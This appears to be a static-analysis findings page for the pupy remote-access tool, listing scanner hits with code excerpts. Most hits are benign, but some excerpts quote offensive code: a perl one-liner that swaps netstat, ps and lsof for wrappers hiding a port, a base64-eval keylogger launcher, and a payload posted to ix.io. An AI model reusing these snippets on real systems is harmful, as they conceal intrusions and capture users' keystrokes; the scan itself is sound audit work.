26 27 TMP_FOLDERS = ['/dev/shm', '/tmp', '/var/tmp'] 28 RTLD_DI_LINKMAP = 2 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/agent/memimporter/linux.py line 27
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
26 27 TMP_FOLDERS = ['/dev/shm', '/tmp', '/var/tmp'] 28 RTLD_DI_LINKMAP = 2 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/agent/memimporter/linux.py line 27
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
26 27 TMP_FOLDERS = ['/dev/shm', '/tmp', '/var/tmp'] 28 RTLD_DI_LINKMAP = 2 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/darwin/keylogger.py line 157
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
156 randname=''.join([random.choice(string.ascii_lowercase) for i in range(0,random.randint(6,12))]) 157 logFile = '/tmp/{name}'.format(name=randname) 158 cmd = 'echo "require \'base64\';eval(Base64.decode64(\'%s\'))" | ruby > %s &' % (base64_ruby_code, logFile) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/linux/all/linux_stealth.py line 38
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
37 time.sleep(3) 38 os.remove("/tmp/p") 39 bashss="""#!/bin/bash -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/linux/all/linux_stealth.py line 33
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
32 bash=r"""which netstat ps lsof |perl -pe'$s="\x{455}";$n="\x{578}";chop;$o=$_;s/([ltp])s/\1$s/||s/fin/fi$n/;rename$o,$_;open F,">$o";print F"#!/bin/sh\n$_ \$*|grep -vE \"[$s-$n]|grep|"""+port+"""\\\\"";chmod 493,$o'""" 33 with open("/tmp/p", "w") as f: 34 f.write(bash) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/linux/all/linux_stealth.py line 30
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
29 time.sleep(3) 30 os.remove("/tmp/b") 31 else: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/linux/all/linux_stealth.py line 25
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
24 bash=r"""which netstat ps lsof|perl -pe'$s="\x{455}";$n="\x{578}";chop;$o=$_;s/([ltp])s/\1$s/||s/fin/fi$n/;rename$o,$_;open F,"|gcc -xc - -o$o";print F qq{int main(int a,char**b){char*c[999999]={"sh","-c","$_ \$*|grep -vE \\"""+'"'+port+r"""|\$\$|[$s-$n]|grep\\\\""};memcpy(c+3,b,8*a);execv("/bin/sh",c);}}'""" 25 with open('/tmp/b', 'w') as f: 26 f.write(bash) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/all/ssh.py line 1420
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
1419 test = BytesIO() 1420 executable, stderr, status = s.download_file('/tmp/test123', test.write) 1421 print(status) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/all/ssh.py line 1412
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
1411 test = BytesIO('Hello, world!\n') 1412 stdout, stderr, status = s.upload_file(test.read, '/tmp/test123', rtouch='/bin/bash', append=True) 1413 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/agent/memimporter/win32.py line 39
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
38 DROP_DIR = find_writable_folder( 39 ['/tmp', '/var/tmp'], 40 validate=_does_dest_allows_executable_mappings -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/agent/memimporter/win32.py line 39
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
38 DROP_DIR = find_writable_folder( 39 ['/tmp', '/var/tmp'], 40 validate=_does_dest_allows_executable_mappings -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/agent/memimporter/posix.py line 58
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
57 DROP_DIR = find_writable_folder( 58 ['/tmp', '/var/tmp'], 59 validate=_does_dest_allows_executable_mappings -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/agent/memimporter/posix.py line 58
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
57 DROP_DIR = find_writable_folder( 58 ['/tmp', '/var/tmp'], 59 validate=_does_dest_allows_executable_mappings -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyDnsCnc.py line 550
- Likely real
- Probably noise, 22% confidence
Call to requests without timeout
549 if not output: 550 response = requests.post('http://ix.io', data={'f:1':payload}) 551 if response.ok: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/utils/downloader.py line 9
- Likely real
- Probably noise, 22% confidence
Call to requests without timeout
8 def download(url, to): 9 with requests.get(url, stream=True) as r: 10 print(r) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/igd.py line 31
- Likely real
- Yes, 97% confidence
Using fromstring to parse untrusted XML data is known to be vulnerable to XML attacks. Replace fromstring with the equivalent defusedxml package, or make sure defusedxml.defuse_stdlib() is called.
30 31 from xml.etree.ElementTree import fromstring 32 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/conf/imports_done.py line 22
- Likely real
- Yes, 96% confidence
Consider possible security implications associated with cPickle module.
21 import ConfigParser 22 import cPickle 23 import Crypto.Cipher -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/payloads/dependencies.py line 33
- Likely real
- Yes, 96% confidence
Consider possible security implications associated with cPickle module.
32 else: 33 import cPickle as pickle 34 from os import getcwdu as getcwd -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/compat.py line 99
- Likely real
- Yes, 96% confidence
Consider possible security implications associated with cPickle module.
98 try: 99 import cPickle as pickle 100 except ImportError: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/modules/ad.py line 87
- Likely real
- Yes, 95% confidence
Possible hardcoded password: '1'
86 pwd_flags = { 87 'PASSWORD_COMPLEX':0x01, 88 'PASSWORD_NO_ANON_CHANGE': 0x02, 89 'PASSWORD_NO_CLEAR_CHANGE': 0x04, 90 'LOCKOUT_ADMINS': 0x08, 91 'PASSWORD_STORE_CLEARTEXT': 0x10, 92 'REFUSE_PASSWORD_CHANGE': 0x20 93 } 94 95 # Domain trust flags -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/modules/mimikatz.py line 212
- Likely real
- Yes, 95% confidence
Possible hardcoded password: '(null)'
211 if password: 212 if username != "" and password != "" and password != "(null)": 213 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/netcreds.py line 32
- Likely real
- Yes, 95% confidence
Possible hardcoded password: '128'
31 'hostname': 0b100000, 'username': 0b1000000, 32 'password': 0b10000000 33 } 34 35 36 def resolve_ip(hostname, port=0): 37 ips = set() 38 try: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/stun.py line 43
- Likely real
- Yes, 95% confidence
Possible hardcoded password: '0007'
42 Username = '0006' 43 Password = '0007' 44 MessageIntegrity = '0008' -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/transports/__init__.py line 27
- Likely real
- Yes, 95% confidence
Possible hardcoded password: 'PuPyD3f4ultP4sSw0rd'
26 27 DEFAULT_BIND_PAYLOADS_PASSWORD="PuPyD3f4ultP4sSw0rd" 28 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/modules/ad.py line 54
- Likely real
- Yes, 95% confidence
Possible hardcoded password: '32'
53 'ACCOUNT_LOCKED':0x00000010, 54 'PASSWD_NOTREQD':0x00000020, 55 'PASSWD_CANT_CHANGE': 0x00000040, 56 'NORMAL_ACCOUNT': 0x00000200, 57 'WORKSTATION_ACCOUNT':0x00001000, 58 'SERVER_TRUST_ACCOUNT': 0x00002000, 59 'DONT_EXPIRE_PASSWD': 0x00010000, 60 'SMARTCARD_REQUIRED': 0x00040000, 61 'TRUSTED_FOR_DELEGATION': 0x00080000, 62 'NOT_DELEGATED': 0x00100000, 63 'USE_DES_KEY_ONLY': 0x00200000, 64 'DONT_REQ_PREAUTH': 0x00400000, 65 'PASSWORD_EXPIRED': 0x00800000, 66 'TRUSTED_TO_AUTH_FOR_DELEGATION': 0x01000000, 67 'PARTIAL_SECRETS_ACCOUNT': 0x04000000 68 } 69 70 # https://docs.microsoft.com/en-us/windows/win32/adschema/a-samaccounttype 71 sam_flags = { 72 'SAM_DOMAIN_OBJECT': 0x0, -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/modules/ad.py line 55
- Likely real
- Yes, 95% confidence
Possible hardcoded password: '64'
54 'PASSWD_NOTREQD':0x00000020, 55 'PASSWD_CANT_CHANGE': 0x00000040, 56 'NORMAL_ACCOUNT': 0x00000200, 57 'WORKSTATION_ACCOUNT':0x00001000, 58 'SERVER_TRUST_ACCOUNT': 0x00002000, 59 'DONT_EXPIRE_PASSWD': 0x00010000, 60 'SMARTCARD_REQUIRED': 0x00040000, 61 'TRUSTED_FOR_DELEGATION': 0x00080000, 62 'NOT_DELEGATED': 0x00100000, 63 'USE_DES_KEY_ONLY': 0x00200000, 64 'DONT_REQ_PREAUTH': 0x00400000, 65 'PASSWORD_EXPIRED': 0x00800000, 66 'TRUSTED_TO_AUTH_FOR_DELEGATION': 0x01000000, 67 'PARTIAL_SECRETS_ACCOUNT': 0x04000000 68 } 69 70 # https://docs.microsoft.com/en-us/windows/win32/adschema/a-samaccounttype 71 sam_flags = { 72 'SAM_DOMAIN_OBJECT': 0x0, 73 'SAM_GROUP_OBJECT': 0x10000000, -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/modules/ad.py line 59
- Likely real
- Yes, 95% confidence
Possible hardcoded password: '65536'
58 'SERVER_TRUST_ACCOUNT': 0x00002000, 59 'DONT_EXPIRE_PASSWD': 0x00010000, 60 'SMARTCARD_REQUIRED': 0x00040000, 61 'TRUSTED_FOR_DELEGATION': 0x00080000, 62 'NOT_DELEGATED': 0x00100000, 63 'USE_DES_KEY_ONLY': 0x00200000, 64 'DONT_REQ_PREAUTH': 0x00400000, 65 'PASSWORD_EXPIRED': 0x00800000, 66 'TRUSTED_TO_AUTH_FOR_DELEGATION': 0x01000000, 67 'PARTIAL_SECRETS_ACCOUNT': 0x04000000 68 } 69 70 # https://docs.microsoft.com/en-us/windows/win32/adschema/a-samaccounttype 71 sam_flags = { 72 'SAM_DOMAIN_OBJECT': 0x0, 73 'SAM_GROUP_OBJECT': 0x10000000, 74 'SAM_NON_SECURITY_GROUP_OBJECT': 0x10000001, 75 'SAM_ALIAS_OBJECT': 0x20000000, 76 'SAM_NON_SECURITY_ALIAS_OBJECT': 0x20000001, 77 'SAM_NORMAL_USER_ACCOUNT': 0x30000000, -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/modules/ad.py line 65
- Likely real
- Yes, 95% confidence
Possible hardcoded password: '8388608'
64 'DONT_REQ_PREAUTH': 0x00400000, 65 'PASSWORD_EXPIRED': 0x00800000, 66 'TRUSTED_TO_AUTH_FOR_DELEGATION': 0x01000000, 67 'PARTIAL_SECRETS_ACCOUNT': 0x04000000 68 } 69 70 # https://docs.microsoft.com/en-us/windows/win32/adschema/a-samaccounttype 71 sam_flags = { 72 'SAM_DOMAIN_OBJECT': 0x0, 73 'SAM_GROUP_OBJECT': 0x10000000, 74 'SAM_NON_SECURITY_GROUP_OBJECT': 0x10000001, 75 'SAM_ALIAS_OBJECT': 0x20000000, 76 'SAM_NON_SECURITY_ALIAS_OBJECT': 0x20000001, 77 'SAM_NORMAL_USER_ACCOUNT': 0x30000000, 78 'SAM_MACHINE_ACCOUNT': 0x30000001, 79 'SAM_TRUST_ACCOUNT': 0x30000002, 80 'SAM_APP_BASIC_GROUP': 0x40000000, 81 'SAM_APP_QUERY_GROUP': 0x40000001, 82 'SAM_ACCOUNT_TYPE_MAX': 0x7fffffff 83 } -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/modules/lazagne.py line 47
- Likely real
- Yes, 95% confidence
Possible hardcoded password: 'plaintext'
46 TYPESMAP = { 47 'password': 'plaintext', 48 'hash': 'hash', 49 'key': 'key', 50 'cmd': 'cmd', 51 'defaultpassword': 'lsa' 52 } 53 54 NON_TABLE = set([ -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/modules/ad.py line 92
- Likely real
- Yes, 95% confidence
Possible hardcoded password: '32'
91 'PASSWORD_STORE_CLEARTEXT': 0x10, 92 'REFUSE_PASSWORD_CHANGE': 0x20 93 } 94 95 # Domain trust flags 96 # From: https://msdn.microsoft.com/en-us/library/cc223779.aspx 97 trust_flags = { 98 'NON_TRANSITIVE':0x00000001, 99 'UPLEVEL_ONLY':0x00000002, 100 'QUARANTINED_DOMAIN':0x00000004, -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/modules/ad.py line 91
- Likely real
- Yes, 95% confidence
Possible hardcoded password: '16'
90 'LOCKOUT_ADMINS': 0x08, 91 'PASSWORD_STORE_CLEARTEXT': 0x10, 92 'REFUSE_PASSWORD_CHANGE': 0x20 93 } 94 95 # Domain trust flags 96 # From: https://msdn.microsoft.com/en-us/library/cc223779.aspx 97 trust_flags = { 98 'NON_TRANSITIVE':0x00000001, 99 'UPLEVEL_ONLY':0x00000002, -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/modules/ad.py line 89
- Likely real
- Yes, 95% confidence
Possible hardcoded password: '4'
88 'PASSWORD_NO_ANON_CHANGE': 0x02, 89 'PASSWORD_NO_CLEAR_CHANGE': 0x04, 90 'LOCKOUT_ADMINS': 0x08, 91 'PASSWORD_STORE_CLEARTEXT': 0x10, 92 'REFUSE_PASSWORD_CHANGE': 0x20 93 } 94 95 # Domain trust flags 96 # From: https://msdn.microsoft.com/en-us/library/cc223779.aspx 97 trust_flags = { -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/agent/pstore.py line 19
- Likely real
- Yes, 95% confidence
Consider possible security implications associated with cPickle module.
18 else: 19 import cPickle as pickle 20 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/agent/utils.py line 25
- Likely real
- Yes, 95% confidence
Consider possible security implications associated with cPickle module.
24 else: 25 import cPickle as pickle 26 -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /pupy/packages/all/pupyps.py line 79
- Likely real
- Yes, 93% confidence
Detects active collection of system information (hostname, platform, architecture, user) [threat-runtime-system-info]
psutil_str('NT AUTHORITY\\'), psutil_str(socket.gethostname() + '\\') ) -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /pupy/packages/all/pupyps.py line 73
- Likely real
- Yes, 93% confidence
Detects active collection of system information (hostname, platform, architecture, user) [threat-runtime-system-info]
import getpass USERNAME = getpass.getuser() except: USERNAME = None -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /pupy/cli/pupygen.py line 108
- Likely real
- Yes, 92% confidence
Detects memory scraping and credential dumping from process memory [threat-process-memory]
is_pyoxidizer = False if binary.find(b'OxidizedResource', 0) != -1: is_pyoxidizer = True while True: -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /pupy/cli/pupygen.py line 111
- Likely real
- Yes, 92% confidence
Detects memory scraping and credential dumping from process memory [threat-process-memory]
while True: i = binary.find(b'####---PUPY_CONFIG_COMES_HERE---####', i+1) if i == -1: break -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /pupy/cli/pupygen.py line 61
- Likely real
- Yes, 92% confidence
Detects memory scraping and credential dumping from process memory [threat-process-memory]
# "https://github.com/n1nj4sec/pupy/releases" PRECOMPILED_TEMPLATES_DOWNLOAD_URL ="https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.7z" HARDCODED_CONF_SIZE = 500000 from pupy.pupylib import ROOT -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/darwin/hashdump.py line 8
- Likely real
- Yes, 84% confidence
Using ElementTree to parse untrusted XML data is known to be vulnerable to XML attacks. Replace ElementTree with the equivalent defusedxml package, or make sure defusedxml.defuse_stdlib() is called.
7 import base64 8 from xml.etree import ElementTree 9 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/modules/ad.py line 88
- Likely real
- Yes, 65% confidence
Possible hardcoded password: '2'
87 'PASSWORD_COMPLEX':0x01, 88 'PASSWORD_NO_ANON_CHANGE': 0x02, 89 'PASSWORD_NO_CLEAR_CHANGE': 0x04, 90 'LOCKOUT_ADMINS': 0x08, 91 'PASSWORD_STORE_CLEARTEXT': 0x10, 92 'REFUSE_PASSWORD_CHANGE': 0x20 93 } 94 95 # Domain trust flags 96 # From: https://msdn.microsoft.com/en-us/library/cc223779.aspx -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/all/pupyutils/psexec.py line 239
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
238 239 def __init__( 240 self, host, port=445, user='', domain='', password='', ntlm='', 241 aes='', tgt='', tgs='', kdc='', timeout=10, use_cache=None): 242 243 self._smb_conn = None 244 self._wbem_conn = None 245 self._dcom_conn = None 246 self._cached = False 247 248 if use_cache is None: 249 use_cache = USE_CACHE 250 251 self._use_cache = use_cache 252 253 creds = find_first_cred( 254 schema='smb', address=host, port=port, 255 domain=domain, username=user 256 ) 257 258 if creds: 259 user = user or creds.username 260 domain = domain or creds.domain 261 password = password or creds.password 262 ntlm = ntlm or creds.ntlm 263 aes = aes or creds.aes 264 tgt = tgt or creds.tgt 265 tgs = tgt or creds.tgs 266 kdc = kdc or creds.kdc 267 268 self.host = host 269 self.port = int(port) 270 self.user = user 271 self.password = password 272 self.domain = domain 273 self.lm, self.nt = '', '' 274 self.valid = None 275 self.timeout = int(timeout) 276 self.aes = aes 277 self.TGT = tgt 278 self.TGS = tgs 279 self.KDC = kdc 280 281 if ntlm: 282 if ':' in ntlm: 283 self.lm, self.nt = ntlm.strip().split(':') 284 else: 285 self.lm = '00'*16 286 self.nt = ntlm 287 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/modules/mimikatz.py line 212
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
211 if password: 212 if username != "" and password != "" and password != "(null)": 213 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/picocmd/picocmd.py line 664
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
663 if self.user and not self.password: 664 self.password = '' 665 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/posix/all/sudo_alias.py line 163
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
162 # wait to get the password 163 password = '' 164 while not self.stopped: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/picocmd/picocmd.py line 685
- Likely real
- Uncertain, 44% confidence
Possible hardcoded password: ''
684 user = '' 685 password = '' 686 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/utils/credentials.py line 140
- Likely real
- Uncertain, 44% confidence
Possible hardcoded password: ''
139 'login': '', 140 'secret': '', 141 'resource': '' 142 } 143 144 if 'login' in creds: 145 c['login'] = creds['login'] 146 if 'domain' in creds: 147 c['login'] = '%s\\%s' % (creds['domain'], c['login']) 148 elif 'sid' in creds: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/linux/all/keylogger.py line 632
- Likely real
- Uncertain, 37% confidence
Starting a process without a shell.
631 632 os.execv(executable, args) 633 return 0 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/commands/restart.py line 30
- Likely real
- Uncertain, 36% confidence
Starting a process without a shell.
29 handler.display_srvinfo(Success('Restarting')) 30 os.execv(argv0, argv) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/picocmd/client.py line 681
- Likely real
- Uncertain, 36% confidence
Starting a process without a shell.
680 681 os.execv(executable, args) 682 elif isinstance(command, Exit): -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/linux/all/linux_stealth.py line 36
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell: Seems safe, but may be changed in the future, consider rewriting without shell
35 f.close() 36 os.system("bash /tmp/p") 37 time.sleep(3) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/linux/all/linux_stealth.py line 28
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell: Seems safe, but may be changed in the future, consider rewriting without shell
27 f.close() 28 os.system("bash /tmp/b") 29 time.sleep(3) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/darwin/keylogger.py line 164
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell: Seems safe, but may be changed in the future, consider rewriting without shell
163 try: 164 pid = os.popen('ps aux | grep " ruby" | grep -v grep').read().split()[1] 165 except: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/src/VideoCapture/src/mkdist.py line 37
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell: Seems safe, but may be changed in the future, consider rewriting without shell
36 37 os.system(r'c:\Python22\python.exe c:\Python22\Lib\pydoc.py -w VideoCapture ') 38 os.system(r'move VideoCapture.html ..\html\ ') -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyDnsCnc.py line 550
- Likely real
- Uncertain, 32% confidence
Detected a request using 'http://'. This request will be unencrypted, and attackers could listen into traffic on the network and be able to obtain sensitive information. Use 'https://' instead.
response = requests.post('http://ix.io', data={'f:1':payload}) -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 31
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'M2Crypto>=0.30.1' — attacker could push malicious update
M2Crypto>=0.30.1 -
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /client/sources-linux-py3/Dockerfile.linux-builder
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /pupy/library_patches_py3/poster/streaminghttp.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /pupy/modules/exploit_suggester.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /pupy/pupylib/utils/downloader.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /pupy/pupylib/payloads/py_oneliner.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /client/sources-linux-py3/buildenv-sunos.sh
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /pupy/network/lib/tinyhttp.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /pupy/network/lib/igd.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /pupy/network/lib/online.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /pupy/external/linenum/linenum.sh
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
No findings match these filters.